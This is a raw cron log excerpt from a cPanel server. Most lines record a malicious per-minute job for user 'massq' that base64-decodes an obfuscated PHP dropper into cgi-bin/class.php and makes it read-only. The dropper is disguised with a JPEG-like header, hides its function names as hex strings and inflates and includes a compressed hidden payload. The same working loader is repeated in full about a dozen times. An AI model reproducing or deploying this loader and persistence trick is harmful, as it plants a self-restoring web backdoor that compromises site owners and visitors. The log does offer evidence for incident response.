Nov 12 21:37:01 server CROND[12781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:38:01 server CROND[13789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:39:01 server CROND[14639]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:39:01 server CROND[14640]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 21:40:01 server CROND[15520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:40:01 server CROND[15521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:40:01 server CROND[15522]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:40:01 server CROND[15523]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 21:41:01 server CROND[16427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:42:01 server CROND[17298]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 21:42:01 server CROND[17299]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:43:01 server CROND[18186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:44:02 server CROND[18993]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:45:01 server CROND[19853]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:45:01 server CROND[19854]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:45:01 server CROND[19855]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:46:01 server CROND[20768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:47:01 server CROND[21625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:48:01 server CROND[22573]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:49:01 server CROND[22902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:50:01 server CROND[23638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:50:01 server CROND[23639]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 21:50:01 server CROND[23642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:50:01 server CROND[23643]: (root) CMD (/usr/lib64/sa/sa1 1 1)
